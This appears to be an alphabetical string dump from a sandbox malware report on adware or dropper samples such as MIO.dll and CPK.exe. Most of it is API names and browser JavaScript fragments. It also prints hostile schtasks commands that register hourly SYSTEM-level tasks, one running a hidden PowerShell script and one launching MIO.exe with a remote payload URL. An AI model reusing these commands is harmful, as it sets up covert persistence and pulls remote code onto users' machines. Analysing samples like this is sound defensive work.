Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Rcu%0$KyWnW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
rd': SHADOW_ALWAYS, 'waterfall': SHADOW_WHEN_SCROLLING, 'waterfall-tall': SHADOW_WHEN_SCROLLING }, tallMode: { 'waterfall-tall': true } }; Polymer({ is: 'paper-header-panel',
Ansi based on Runtime Data (CPK.exe )
RdCnnzP6y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
rdware
Unicode based on Dropped File (psi.dll.1283195511)
re Enable tracing in secure mode
Unicode based on Dropped File (ttttt.exe.179545488)
RE\Mic
Unicode based on Dropped File (MIO.dll.1862922135)
RE\Microsoft\Cryptography
Unicode based on Dropped File (psi.dll.1283195511)
RE\Microsoft\Internet Explorer
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
read only file system
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ReadConsoleInputA
Ansi based on Dropped File (hhhhh.exe.655875088)
ReadConsoleW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ReadFile
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Real out of signed integer range
Ansi based on Dropped File (kokoko.dll.2691425955)
Real out of unsigned integer range
Ansi based on Dropped File (kokoko.dll.2691425955)
Real Time Buffers Lost: %d
Unicode based on Dropped File (ttttt.exe.179545488)
Real Time Consumers: %d
Unicode based on Dropped File (ttttt.exe.179545488)
Realtime
Unicode based on Dropped File (ttttt.exe.179545488)
reate trigger on system table
Ansi based on Runtime Data (rundll32.exe )
reates the registry keys [LoggerName] autologger session.
Unicode based on Dropped File (ttttt.exe.179545488)
ReceiveTimeOut
Unicode based on Runtime Data (QQBrowser.exe )
red Trace Guids
Unicode based on Dropped File (ttttt.exe.179545488)
REFSET
Unicode based on Dropped File (ttttt.exe.179545488)
REG_SZ
Unicode based on Runtime Data (QQBrowser.exe )
RegCloseKey
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RegCreateKeyExW
Ansi based on Dropped File (kokoko.dll.2691425955)
RegCreateKeyW
Ansi based on Dropped File (kokoko.dll.2691425955)
RegDeleteKeyExW
Ansi based on Dropped File (ttttt.exe.179545488)
RegDeleteKeyW
Ansi based on Dropped File (hhhhh.exe.655875088)
RegDeleteValueW
Ansi based on Dropped File (psi.dll.1283195511)
RegEnumKeyExW
Ansi based on Dropped File (MIO.dll.1862922135)
RegEnumValueW
Ansi based on Dropped File (psi.dll.1283195511)
regex_error
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_backref): The expression contained an invalid back reference.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_badbrace): The expression contained an invalid range in a { expression }.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_badrepeat): One of *?+{ was not preceded by a valid regular expression.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_brace): The expression contained mismatched { and }.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_brack): The expression contained mismatched [ and ].
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_collate): The expression contained an invalid collating element name.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_complexity): The complexity of an attempted match against a regular expression exceeded a pre-set level.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_ctype): The expression contained an invalid character class name.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_escape): The expression contained an invalid escaped character, or a trailing escape.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_paren): The expression contained mismatched ( and ).
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_parse)
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_range): The expression contained an invalid character range, such as [b-a] in most encodings.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_space): There was insufficient memory to convert the expression into a finite state machine.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_stack): There was insufficient memory to determine whether the regular expression could match the specified character sequence.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_syntax)
Ansi based on Dropped File (kokoko.dll.2691425955)
RegisterAdapterName
Unicode based on Runtime Data (CPK.exe )
RegisterClassExW
Ansi based on Dropped File (kokoko.dll.2691425955)
Registerd by this Process
Unicode based on Dropped File (ttttt.exe.179545488)
RegisterServiceCtrlHandlerW
Ansi based on Dropped File (kokoko.dll.2691425955)
RegisterTraceGuidsW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
RegistrationEnabled
Unicode based on Runtime Data (CPK.exe )
Registry
Unicode based on Dropped File (ttttt.exe.179545488)
REGISTRY
Unicode based on Dropped File (ttttt.exe.179545488)
Registry set to start
Unicode based on Dropped File (ttttt.exe.179545488)
Registry set to stop
Unicode based on Dropped File (ttttt.exe.179545488)
Registry value
Unicode based on Dropped File (ttttt.exe.179545488)
REGISTRY_NOTIF
Unicode based on Dropped File (ttttt.exe.179545488)
RegNotifyChangeKeyValue
Ansi based on Dropped File (psi.dll.1283195511)
RegOpenKeyExW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RegQueryInfoKeyW
Ansi based on Dropped File (MIO.dll.1862922135)
RegQueryValueExW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RegSetValueExW
Ansi based on Dropped File (kokoko.dll.2691425955)
RelativePath
Unicode based on Runtime Data (rundll32.exe )
ReleaseKernel
Unicode based on Dropped File (ttttt.exe.179545488)
remot
Unicode based on Dropped File (psi.dll.1283195511)
RemoteRpcDll
Unicode based on Runtime Data (QQBrowser.exe )
remotesigned
Unicode based on Runtime Data (rundll32.exe )
remove // from the end to not encounter any auto-magic card selections in the // process and we hide the card slider throughout. this.cardSlider.currentCard = 0; // Clear any existing apps pages and dots. // TODO(rbyers): It migh
Ansi based on Runtime Data (CPK.exe )
RemoveDirectoryA
Ansi based on Dropped File (MIO.dll.1862922135)
RemoveDirectoryW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
rence
Unicode based on Dropped File (ttttt.exe.179545488)
renceSet
Unicode based on Dropped File (ttttt.exe.179545488)
rentControlSet\Control\SafeBoot\Network\Ndisuio
Unicode based on Runtime Data (rundll32.exe )
rentControlSet\Services\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
reOpInit
Unicode based on Dropped File (ttttt.exe.179545488)
reqs=visit.cpk.install.true','33')
Unicode based on Runtime Data (powershell.exe )
Request provider to log state information
Unicode based on Dropped File (ttttt.exe.179545488)
Request SystemTraceProvider rundown directed at [LoggerName] session
Unicode based on Runtime Data (rundll32.exe )
res the last set of bookmarks that was deleted. */function undoDelete() { lastDeleted.nodes.forEach(function(arr) { arr.forEach(restoreTree); }); lastDeleted = null; $('undo-delete-command').canExecuteChange(); $('undo-delete-from-folders-menu-
Ansi based on Runtime Data (CPK.exe )
reserveProcess
Unicode based on Dropped File (ttttt.exe.179545488)
resource deadlock would occur
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
resource unavailable try again
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
restrict(
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RestrictedAttributes
Unicode based on Runtime Data (rundll32.exe )
result out of range
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
result.set(property,SDK.CSSMatchedStyles.PropertyState.Active);}for(var property of style.leadingProperties()){var canonicalName=SDK.cssMetadata().canonicalPropertyName(property.name);if(!styleActiveProperties.has(canonicalName))continue;var longhands=styl
Ansi based on Runtime Data (CPK.exe )
return true;}sidebarElementForProfile(profile){var index=this._sidebarElementIndex(profile);return index===-1?null:this._profileTreeElements[index];}_sidebarElementIndex(profile){var elements=this._profileTreeElements;for(var i=0;i<elements.length;i++){if(
Ansi based on Runtime Data (CPK.exe )
RevertToSelf
Ansi based on Dropped File (ttttt.exe.179545488)
rfCounter
Unicode based on Dropped File (ttttt.exe.179545488)
rFileInfo
Unicode based on Dropped File (kokoko.dll.2691425955)
rgetInstance
Unicode based on Dropped File (kokoko.dll.2691425955)
rguments.
Unicode based on Dropped File (ttttt.exe.179545488)
rguments.length === 2 && itemSet) { for (i = 0; i < itemSet.length; i++) { pidx = itemSet[i]; vidx = this._computeVidx(pidx); if ((rtn = fn.call(this, pidx, vidx)) != null) { return rtn; } }
Ansi based on Runtime Data (CPK.exe )
Rh<1)^h4
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
rican
Unicode based on Dropped File (hhhhh.exe.655875088)
rican english
Unicode based on Dropped File (hhhhh.exe.655875088)
riched20.dll
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
Riched32.dll
Unicode based on Dropped File (hhhhh.exe.655875088)
RICHEDIT
Unicode based on Dropped File (hhhhh.exe.655875088)
right
Unicode based on Dropped File (ttttt.exe.179545488)
rInterrupt
Unicode based on Dropped File (ttttt.exe.179545488)
ription
Unicode based on Dropped File (ttttt.exe.179545488)
rive, but will be still available to run from CDSelLocalCDThis feature will be completely removedSelLocalAbsentCompiling cost for this feature...SelCostPendingThis feature will remain on you local hard driveSelLocalLocalThis feature requires [1] on your hard d
Ansi based on Runtime Data (rundll32.exe )
RLY /MO %d /ST %02d:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (MIO.dll.1862922135)
rm+SF~#wA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RM2dz17 123<1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
rmation --------------------------------------
Unicode based on Dropped File (ttttt.exe.179545488)
rn validator.validationError.NONE; }; MediaRouter_OnSinkAvailabilityUpdated_Params.encodedSize = codec.kStructHeaderSize + 8; MediaRouter_OnSinkAvailabilityUpdated_Params.decode = function(decoder) { var packed; var val = new MediaRouter
Ansi based on Runtime Data (CPK.exe )
rned by a BSD-style license that can befound in the LICENSE file.We use an HTML page just to have access to the DOM, for URLparsing. An alternative would be to include a URL parsing JavaScriptlibrary with the extension but this approach is likely smaller
Ansi based on Runtime Data (CPK.exe )
rnel32.dll
Unicode based on Dropped File (MIO.dll.1862922135)
RNING: Could not %s some guids.
Unicode based on Dropped File (ttttt.exe.179545488)
ro-RO
Unicode based on Dropped File (hhhhh.exe.655875088)
Roamable
Unicode based on Runtime Data (rundll32.exe )
Roaming
Unicode based on Runtime Data (QQBrowser.exe )
rocess
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
rofile
Unicode based on Dropped File (ttttt.exe.179545488)
RoInitialize
Ansi based on Dropped File (hhhhh.exe.655875088)
ROOT\CIMV2
Unicode based on Dropped File (kokoko.dll.2691425955)
ror('Missing frameTimeDiscrepancy for '+ue.stableId);frameTimeDiscrepancyNumeric.addSample(frameTimeDiscrepancy,sampleDiagnosticMap);ue.associatedEvents.forEach(function(event){if(!(event instanceof tr.e.cc.InputLatencyAsyncSlice))return;latencyNumeric.addSa
Ansi based on Runtime Data (CPK.exe )
ror: %s is an invalid guid.
Unicode based on Dropped File (ttttt.exe.179545488)
ror: Invalid GuidFile!
Unicode based on Dropped File (ttttt.exe.179545488)
ror: Invalid number of enable flags.
Unicode based on Dropped File (ttttt.exe.179545488)
ROR: System Logger does not accept application guids.
Unicode based on Dropped File (ttttt.exe.179545488)
rosoft\Windows\
Unicode based on Dropped File (MIO.dll.1862922135)
RoUninitialize
Ansi based on Dropped File (hhhhh.exe.655875088)
roup: %s
Unicode based on Dropped File (ttttt.exe.179545488)
rovider.reset();this._networkView.scheduleUpdate();}highlightEvent(event){var entryIndex=event?this._dataProvider.entryIndexForSelection(Timeline.TimelineSelection.fromTraceEvent(event)):-1;if(entryIndex>=0)this._mainView.highlightEntry(entryIndex);elset
Ansi based on Runtime Data (CPK.exe )
rowserCheck
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
RqQ~$Zi_F
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
rrentVersion\Uninstall
Unicode based on Dropped File (MIO.dll.1862922135)
rs for the [LoggerName] session
Unicode based on Dropped File (ttttt.exe.179545488)
rsion
Unicode based on Dropped File (hhhhh.exe.655875088)
rsion\Un
Unicode based on Dropped File (MIO.dll.1862922135)
rsist
Unicode based on Dropped File (ttttt.exe.179545488)
rT,i}RjhT
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
rteMN.|{\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RtlAbsoluteToSelfRelativeSD
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlAddAccessAllowedAce
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlAnsiStringToUnicodeString
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlCaptureContext
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlCreateSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlFreeAnsiString
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlFreeUnicodeString
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlGetDaclSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlGetGroupSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlGetOwnerSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlGetSaclSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlGetVersion
Ansi based on Dropped File (ttttt.exe.179545488)
RtlInitAnsiString
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlInitUnicodeString
Ansi based on Dropped File (ttttt.exe.179545488)
RtlLengthSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlLengthSid
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlLookupFunctionEntry
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlNtStatusToDosError
Ansi based on Dropped File (ttttt.exe.179545488)
RtlSetDaclSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlUnicodeStringToAnsiString
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlUnwind
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RtlUnwindEx
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlVirtualUnwind
Ansi based on Dropped File (hhhhh.exe.655875088)
rtual function call
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
rtualFree
Unicode based on Dropped File (ttttt.exe.179545488)
ru-ru
Unicode based on Dropped File (hhhhh.exe.655875088)
ru-RU
Unicode based on Dropped File (UAC.dll.626400535)
rundll32.exe
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
runtime error
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Runtime Error!Program:
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
rverName
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
RVfCeC%2+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
rView=dt.xWorldToView(rightMarker);var distanceBetweenMarkers=interestRange.range;var distanceBetweenMarkersView=dt.xWorldVectorToView(distanceBetweenMarkers);var positionInMiddleOfMarkersView=leftMarkerView+(distanceBetweenMarkersView/2);displayDistance=dista
Ansi based on Runtime Data (CPK.exe )
Rx/'^w9XX1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ry set to stop
Unicode based on Dropped File (ttttt.exe.179545488)
rySelector('.language-select'); // If the user manually selected a locale, do not change the selection. // Otherwise, select the new |defaultLocale|. var selected = languageSelect.manuallyChanged ? languageSelect.value : defaultLoca
Ansi based on Runtime Data (CPK.exe )
r}2%P_DK)/
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R}jNkcqTc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r~Sm?+o;z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s for CritSec Guid
Unicode based on Dropped File (ttttt.exe.179545488)
s off of the component. Hides the margin * controls. * @private */ onMouseOut_: function(event) { var toElement = event.toElement; while (toElement != null) { if (toElement == this.getElement()) { return;
Ansi based on Runtime Data (CPK.exe )
s registry keys that activate GlobalLogger
Unicode based on Dropped File (ttttt.exe.179545488)
S"-mn
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
S%65t7rq!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s)c`Zo?O9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s. All rights reserved.// Use of this source code is governed by a BSD-style license that can be// found in the LICENSE file.cr.define("downloads",function(){var Toolbar=Polymer({is:"downloads-toolbar",properties:{downloadsShowing:{reflectToAttribute:true,t
Ansi based on Runtime Data (CPK.exe )
s. All rights reserved.This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txtThe complete set of authors may be found at http://polymer.github.io/AUTHORS.txtThe complete set of contributors may be found at http:
Ansi based on Runtime Data (CPK.exe )
s.a+a,b);++this.b};_.T=function(a){return qh(this,a)};_.U=function(a){z(a,this.b);a=this.c.U(this.a+a);--this.b;return a};_.J=function(){return this.b};_.a=0;_.b=0;t(50);function th(a){a=new kh((new jh(a.a)).a);return new uh(a)}function vh(a){this.a=a}m(65,21
Ansi based on Runtime Data (CPK.exe )
s0Qee|g>RBNs#6
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s0t,|zh|Jz
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
S1Y$N^l W_IJ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
S4;n3>,*x
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
S5Jxht3(
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
S7!Z3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s72EW!7'i
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s77xOIQJs
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s: %d
Unicode based on Dropped File (ttttt.exe.179545488)
S:R+XU;(U
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
S<<cd[v4k
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s=]u?+m'g?;c
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s=vis
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
S?1????R?}
Ansi based on Runtime Data (rundll32.exe )
s??<R?;?[
Ansi based on Runtime Data (rundll32.exe )
S??????
Ansi based on Runtime Data (rundll32.exe )
S??????5?W???=??f
Ansi based on Runtime Data (rundll32.exe )
s????N????4@????;*?c???@??
Ansi based on Runtime Data (rundll32.exe )
s?B6?'??g
Ansi based on Runtime Data (rundll32.exe )
s?V??)?`?j???b
Ansi based on Runtime Data (rundll32.exe )
s[IaKz
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s\Global\PROCEXP152
Unicode based on Dropped File (hhhhh.exe.655875088)
S_VERSION_INFO
Unicode based on Dropped File (MIO.dll.1862922135)
sa-IN
Unicode based on Dropped File (UAC.dll.626400535)
sa=b*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
sable
Unicode based on Dropped File (ttttt.exe.179545488)
sAboutBlank()){this._name=this._parsedURL.url;this._path='';}else{this._path=this._parsedURL.host+this._parsedURL.folderPathComponents;var inspectedURL=this.target().inspectedURL().asParsedURL();this._path=this._path.trimURL(inspectedURL?inspectedURL.host:'');
Ansi based on Runtime Data (CPK.exe )
safebrowsing
Ansi based on Dropped File (kokoko.dll.2691425955)
SafeDllSearchMode
Unicode based on Runtime Data (rundll32.exe )
SafeProcessSearchMode
Unicode based on Runtime Data (CPK.exe )
SaG83o]`f
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Saturday
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SavedLegacySettings
Unicode based on Runtime Data (QQBrowser.exe )
SB6x[al
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
sCaller: mixing creation and opening of zip
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ScanSuspiciousObject = 0
Ansi based on Dropped File (pc64.cfg)
ScavengeCacheFileLifeTime
Unicode based on Runtime Data (QQBrowser.exe )
ScavengeCacheFileLimit
Unicode based on Runtime Data (QQBrowser.exe )
ScavengeCacheLowerBound
Unicode based on Runtime Data (QQBrowser.exe )
schtasks /Create /SC HOURLY /MO 3 /ST 00:37:00 /TN "Windows-PG" /TR "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe %WINDIR%\psgo\psgo.ps1" /RU "SYSTEM" /F /RL HIGHEST
Ansi based on Process Commandline (schtasks.exe)
schtasks /Run /TN Milimili
Ansi based on Process Commandline (schtasks.exe)
schtasks /Run /TN Windows-PG
Ansi based on Process Commandline (schtasks.exe)
schtasks /Create /SC HOURLY /MO %d /ST %02d:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM"
Ansi based on Dropped File (MIO.dll.1862922135)
schtasks /Create /SC HOURLY /MO %d /ST %02d:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (MIO.dll.1862922135)
schtasks /Create /SC HOURLY /MO 2 /ST 09:45:00 /TN "Milimili" /TR "\"%PROGRAMFILES%\MIO\MIO.exe\" -bindurl http://api.suibianmaimaicom.com/vboxxharddisk_vb47a275fd-833fcbff.dat cmd=" /RU "SYSTEM" /F /RL HIGHEST
Ansi based on Process Commandline (schtasks.exe)
schtasks /Delete /TN "%s" /F
Unicode based on Dropped File (MIO.dll.1862922135)
SCManager failed (%d)
Ansi based on Dropped File (MIO.dll.1862922135)
scription
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
SCSIDISK
Ansi based on Dropped File (MIO.dll.1862922135)
sDialog([data]);p.then(function(){this.timelineView_.model=m;this.timelineView_.updateDocumentFavicon();}.bind(this),function(err){tr.ui.b.Overlay.showError('While importing: ',err);}.bind(this));},initButtons_:function(){this.recordButton_.addEventListener('c
Ansi based on Runtime Data (CPK.exe )
se-brazilian
Unicode based on Dropped File (hhhhh.exe.655875088)
se-fi
Unicode based on Dropped File (hhhhh.exe.655875088)
se-se
Unicode based on Dropped File (hhhhh.exe.655875088)
SearchList
Unicode based on Runtime Data (CPK.exe )
SeCaptureSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
SeCaptureSubjectContext
Ansi based on Dropped File (hhhhh.exe.655875088)
second
Ansi based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
Section
Unicode based on Dropped File (hhhhh.exe.655875088)
section
Unicode based on Dropped File (hhhhh.exe.655875088)
Secure
Unicode based on Dropped File (ttttt.exe.179545488)
SecureProtocols
Unicode based on Runtime Data (QQBrowser.exe )
Security
Unicode based on Runtime Data (rundll32.exe )
Security: %s
Unicode based on Dropped File (ttttt.exe.179545488)
Security_HKLM_only
Unicode based on Runtime Data (rundll32.exe )
SeDebugPrivilege
Unicode based on Dropped File (hhhhh.exe.655875088)
SeExports
Ansi based on Dropped File (hhhhh.exe.655875088)
SelfProtection = 3
Ansi based on Dropped File (pc64.cfg)
SeLoadDriverPrivilege
Unicode based on Dropped File (hhhhh.exe.655875088)
SendExtraCRLF
Unicode based on Runtime Data (QQBrowser.exe )
SendMessageW
Ansi based on Dropped File (hhhhh.exe.655875088)
SendTimeOut
Unicode based on Runtime Data (QQBrowser.exe )
SeparateProcess
Unicode based on Runtime Data (rundll32.exe )
SePrivilegeCheck
Ansi based on Dropped File (hhhhh.exe.655875088)
September
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Sequential
Unicode based on Dropped File (ttttt.exe.179545488)
Sequential logfile of up to n Mbytes
Unicode based on Dropped File (ttttt.exe.179545488)
SeReleaseSubjectContext
Ansi based on Dropped File (hhhhh.exe.655875088)
Serial_Access_Num
Unicode based on Runtime Data (QQBrowser.exe )
serveProcess
Unicode based on Dropped File (ttttt.exe.179545488)
ServerInfoTimeout
Unicode based on Runtime Data (QQBrowser.exe )
ServiceDll
Unicode based on Runtime Data (rundll32.exe )
ServiceMain
Ansi based on Dropped File (kokoko.dll.2691425955)
Session
Unicode based on Dropped File (ttttt.exe.179545488)
Session Security: %s
Unicode based on Dropped File (ttttt.exe.179545488)
Session-4BA0B957-882B-4625-A213-0349B865E6AA
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
SessionMerging
Unicode based on Runtime Data (QQBrowser.exe )
SessionPoolFree
Unicode based on Dropped File (ttttt.exe.179545488)
SessionStartTimeDefaultDeltaSecs
Unicode based on Runtime Data (QQBrowser.exe )
SeSystemProfilePrivilege
Unicode based on Dropped File (ttttt.exe.179545488)
SetConsoleCtrlHandler
Ansi based on Dropped File (kokoko.dll.2691425955)
SetConsoleMode
Ansi based on Dropped File (hhhhh.exe.655875088)
SetCurrentDirectoryW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetCurrentProcessExplicitAppUserModelID
Ansi based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
SetCursor
Ansi based on Dropped File (hhhhh.exe.655875088)
SetDefaultDllDirectories
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetDllDirectoryW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
SetEndOfFile
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetEnvironmentVariableA
Ansi based on Dropped File (kokoko.dll.2691425955)
SetEvent
Ansi based on Dropped File (hhhhh.exe.655875088)
SetFileAttributesW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetFileInformationByHandleW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetFilePointer
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetFilePointerEx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetFileTime
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetLastError
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetMapMode
Ansi based on Dropped File (hhhhh.exe.655875088)
SetOneShotTimer
Unicode based on Dropped File (ttttt.exe.179545488)
SetProcessUserModeExceptionPolicy
Ansi based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
SetServiceStatus
Ansi based on Dropped File (kokoko.dll.2691425955)
SetStdHandle
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetThreadpoolTimer
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetThreadpoolWait
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetThreadStackGuarantee
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Setting %ws interval to %d
Ansi based on Dropped File (ttttt.exe.179545488)
SetUnhandledExceptionFilter
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SetValue
Unicode based on Dropped File (ttttt.exe.179545488)
SetWindowTextW
Ansi based on Dropped File (hhhhh.exe.655875088)
SetWorkingDirectoryFromTarget
Unicode based on Runtime Data (rundll32.exe )
Sf:,W]$"
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SFWR\cenht
Ansi based on Dropped File (kokoko.dll.2691425955)
sgo.install.finish','%TEMP%\csp3939.tmp')
Unicode based on Runtime Data (powershell.exe )
sh Timer: %d %ws
Unicode based on Dropped File (ttttt.exe.179545488)
ShareCredsWithWinHttp
Unicode based on Runtime Data (QQBrowser.exe )
SHDeleteKeyW
Ansi based on Dropped File (psi.dll.1283195511)
Shell
Unicode based on Dropped File (psi.dll.1283195511)
SHELL32.dll
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
shell32.dll
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
Shell32.dll
Unicode based on Dropped File (hhhhh.exe.655875088)
Shell\1\Shell
Unicode based on Dropped File (psi.dll.1283195511)
ShellExecuteExW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ShellExecuteW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ShellState
Unicode based on Runtime Data (rundll32.exe )
shg,Nv8dt@X
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SHGetFolderPathW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
SHGetPathFromIDListW
Ansi based on Dropped File (kokoko.dll.2691425955)
SHGetSpecialFolderLocation
Ansi based on Dropped File (kokoko.dll.2691425955)
SHLWAPI.dll
